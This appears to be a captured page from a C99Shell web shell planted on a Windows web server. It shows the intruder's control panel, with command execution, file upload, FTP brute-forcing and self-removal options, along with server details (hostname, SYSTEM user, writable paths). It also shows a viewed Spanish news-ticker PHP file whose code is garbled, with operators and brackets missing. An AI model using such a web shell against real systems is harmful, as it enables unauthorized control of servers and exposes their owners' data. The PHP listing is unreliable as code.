!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\Extranet\phpscripts\   drwxrwxrwx
Free 4.15 GB of 39.52 GB (10.5%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     muestra.php (7.65 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<?php
require('conexion3.php');
$hora getdate();
$yr $hora["year"];
$mo $hora["mon"];
$dy $hora["mday"];
            
$desa "<table width=\"100%\" border=\"0\" cellpadding=\"4\"><tr><td>";
            
$mo $mo 100;
            
$yr $yr 2000;
            
$yr $yr 10000;
            
$fc $mo $yr;
            
$fc1 $fc 100;
            
//$fc = $mo + $yr + $dy;
            
$consul "SELECT *
            FROM news where fecha>=
$fc and fecha<$fc1"
            
" order by fecha DESC";
            
$result mysql_query($consul,$db);
            
$num_filas mysql_num_rows($result);
            while (
$myrow mysql_fetch_array($result))
            {
            
$idacc1 $myrow["id"];
            
$fechaacc1 $myrow["fecha"];
            
$catacc1 $myrow["cat"];
            
$titularacc1 $myrow["titular"];
            
$desa $desa "<p align=\"left\"><font size=\"2\" face=\"Verdana, Arial, Helvetica, sans-serif\"><a href=\"requirenew3.php?id=$idacc1\" target=\"_blank\">$titularacc1</a></font></p>";
            }
            
            
$desa $desa "</td></tr></table>";
?>
<?php
require('conexion3.php');
            
$consul "SELECT *
            FROM indi"
            
" order by intema";
            
$result mysql_query($consul,$db);
            
$num_filas mysql_num_rows($result);
            
$messi "";
            
$say 0;
            while (
$myrow mysql_fetch_array($result))
            {
            
$inid $myrow["inid"];
            
$inname $myrow["inname"];
            
$intema $myrow["intema"];
            
$invalor $myrow["invalor"];
            
$inunidad $myrow["inunidad"];
            
$infuente $myrow["infuente"];
            
$infecha $myrow["infecha"];
            
$inlink $myrow["inlink"];
            
            
$mey[$say] = "$intema, <a href='$inlink'>$inname</a> : $invalor $inunidad , Fuente: $infuente";
            
$say++;
            }
?>
<SCRIPT LANGUAGE="JavaScript">

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
//scroller width
var swidth=250

//scroller height
var sheight=60


//scroller's speed;
var sspeed=1

var wholemessage='<?php echo $desa?>'

//text: change to your own

wholemessage='<?php echo $desa?>'

function start(){
if (document.all) return
if (document.getElementById){
document.getElementById("slider").style.visibility="show"
ns6marquee(document.getElementById('slider'))
}
else if(document.layers){
document.slider1.visibility="show"
ns4marquee(document.slider1.document.slider2)
}
}
function ns4marquee(whichlayer){
ns4layer=eval(whichlayer)
ns4layer.document.write(wholemessage)
ns4layer.document.close()
sizeup=ns4layer.document.height
ns4layer.top-=sizeup
ns4slide()
}
function ns4slide(){
if (ns4layer.top>=sizeup*(-1)){
ns4layer.top-=sspeed
setTimeout("ns4slide()",100)
}
else{
ns4layer.top=sheight
ns4slide()
}
}
function ns6marquee(whichdiv){
ns6div=eval(whichdiv)
ns6div.innerHTML=wholemessage
ns6div.style.top=sheight
sizeup=sheight
ns6slide()
}
function ns6slide(){
if (parseInt(ns6div.style.top)>=sizeup*(-1)){
ns6div.style.top=parseInt(ns6div.style.top)-sspeed
setTimeout("ns6slide()",100)
}
else{
ns6div.style.top=sheight
ns6slide()
}
}
//  End -->
function fnDepress() 
    {
        var bState = nav.filters.item('DXImageTransform.Microsoft.dropshadow').enabled;
        nav.filters.item('DXImageTransform.Microsoft.dropshadow').enabled = !bState;
    }
    
var speed = 20
var step = 1
var width = 500
var delay = 2000
var pointer = 0
var stop;
var offset
var nus = <?php echo $say?>

var newsarray = ["<?php echo $mey[0?>","<?php echo $mey[1?>","<?php echo $mey[2?>","<?php echo $mey[3?>","<?php echo $mey[4?>","<?php echo $mey[5?>","<?php echo $mey[6?>","<?php echo $mey[7?>","<?php echo $mey[8?>","<?php echo $mey[9?>","<?php echo $mey[10?>","<?php echo $mey[11?>","<?php echo $mey[12?>","<?php echo $mey[13?>","<?php echo $mey[14?>"]

function pad(id,nr)
{
 document.getElementById(id).style.left=nr;
 nr-=step;
 if(nr < - offset) setText(id)
 else {
 if((nr < 5) &&(stop == false))  {stop=true;setTimeout("pad('"+id+"',"+nr+")",delay);}
 else setTimeout("pad('"+id+"',"+nr+")",speed);
 
 }
}
function setText(id)
{
  stop = false
  document.getElementById("context").innerHTML = newsarray[pointer];
  offset = document.getElementById("context").offsetWidth;
  pointer++;
  if(pointer >= newsarray.length) pointer = 0;
  pad(id,width);
}
function dos()
{
setText("link");
start();
}
</script>
<style type="text/css">
<!--
link {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px;
    color: #D2F0FF;
}
a {
    font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 9px;
    color: #3399CC;
}
-->
</style>
<link href="vscroller.css" rel="stylesheet" type="text/css">
</head>

<BODY bgcolor="#B9E6FD" text="#000000" link="#0000FF" vlink="#990000" topmargin="0" onLoad='dos()'>
<table width="750" border="1" cellpadding="8" bordercolor="#FFFFFF" bgcolor="#FFFFFF">
  <tr>
    <td bgcolor="#FFFFFF"><table width="750" border="0" cellpadding="0" cellspacing="0">
        <tr bgcolor="#B9E6FD"> 
          <td rowspan="2" valign="top" bgcolor="#FFFFFF"><img src="homea.gif" width="357" height="104"></td>
          <td height="40" valign="top" bgcolor="#FFFFFF"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><span style="borderWidth:1; borderColor:white; width:200; height:35;"><img src="homec.gif" width="253" height="40"> 
            </span></font></td>
          <td rowspan="2" valign="top" bgcolor="#FFFFFF"><img src="homeb.gif" width="140" height="104"></td>
        </tr>
        <tr bgcolor="#B9E6FD">
          <td height="64" valign="top" bgcolor="#FFFFFF"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"><span style="borderWidth:1; borderColor:white; width:200; height:35;"> 
            <ilayer width=200 height=35 name="slider1" bgcolor="white" visibility=hide> 
            <layer name="slider2" onMouseOver="sspeed=0;" onMouseOut="sspeed=2"> 
            </layer>
            </ilayer>
            <script language="JavaScript">
if (document.all){
document.writeln('<marquee id="ieslider" scrollAmount=2 width=250 height=60 direction=up style="border:1 solid white;background-color:white">')
document.writeln(wholemessage)
ieslider.onmouseover=new Function("ieslider.scrollAmount=0")
ieslider.onmouseout=new Function("if (document.readyState=='complete') ieslider.scrollAmount=2")
document.write('</marquee>')
}
if (document.getElementById&&!document.all){
document.write('<div style="position:relative;overflow:hidden;width:250;height:60;clip:rect(0 302 102 0); background-color:white;border:1px solid white;" onMouseover="sspeed=0;" onMouseout="sspeed=2">')
document.write('<div id="slider" style="position:relative;width:&{swidth};">')
document.write('</div></div>')
}
</script>
            </span></font></td>
        </tr>
        <tr bgcolor="#FFFFFF"> 
          <td colspan="3">
<table width="750" border="1" cellpadding="2" cellspacing="0" bordercolor="#B9E6FD">
              <tr> 
                <td width="15%" valign="middle" bordercolor="#B9E6FD" bgcolor="#B9E6FD"><font size="1" face="Verdana, Arial, Helvetica, sans-serif"> 
                  <img src="homed.gif" width="128" height="20"></font></td>
                <td width="85%" valign="middle" bordercolor="#B9E6FD" bgcolor="#B9E6FD">
                <div class=header> 
                    <div id=link class="news"> 
                      <div id=context style="position:absolute">&nbsp;-</div>
                    </div>
                  </div>
                </td>
              </tr>
            </table>
            </td>
        </tr>
      </table>
      
    </td>
  </tr>
</table>
<p>&nbsp;</p>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--